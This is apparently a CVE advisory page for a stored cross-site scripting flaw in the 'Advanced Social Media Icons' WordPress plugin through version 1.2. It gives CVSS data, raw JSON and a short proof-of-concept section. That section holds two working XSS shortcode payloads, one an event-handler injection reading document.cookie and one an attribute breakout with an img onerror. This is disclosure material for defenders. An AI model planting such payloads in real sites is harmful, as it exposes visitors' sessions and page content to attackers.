Security Vulnerability Report
中文
CVE-2026-7659 CVSS 6.4 MEDIUM

CVE-2026-7659

Published: 2026-05-12 09:16:58
Last Modified: 2026-05-12 14:03:53

Description

The Advanced Social Media Icons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `social` shortcode in all versions up to, and including, 1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Advanced Social Media Icons <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-7659 --> <!-- Description: Injecting malicious script via the 'social' shortcode attributes. --> <!-- Attacker action: Add this shortcode to a page/post with Contributor permissions. --> <!-- Attempting to break out of the attribute context --> [social url="#" onmouseover="alert(document.cookie)"] <!-- Alternatively, injecting directly into a vulnerable field --> [social title="\"><img src=x onerror=alert('XSS')>"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7659", "sourceIdentifier": "[email protected]", "published": "2026-05-12T09:16:57.860", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Advanced Social Media Icons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `social` shortcode in all versions up to, and including, 1.2. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/advanced-social-media-icons/tags/1.2/functions.php#L40", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/advanced-social-media-icons/trunk/functions.php#L40", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/advanced-social-media-icons/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/999c2207-6d45-4b46-8fe1-03682a949c5c?source=cve", "source": "[email protected]"}]}}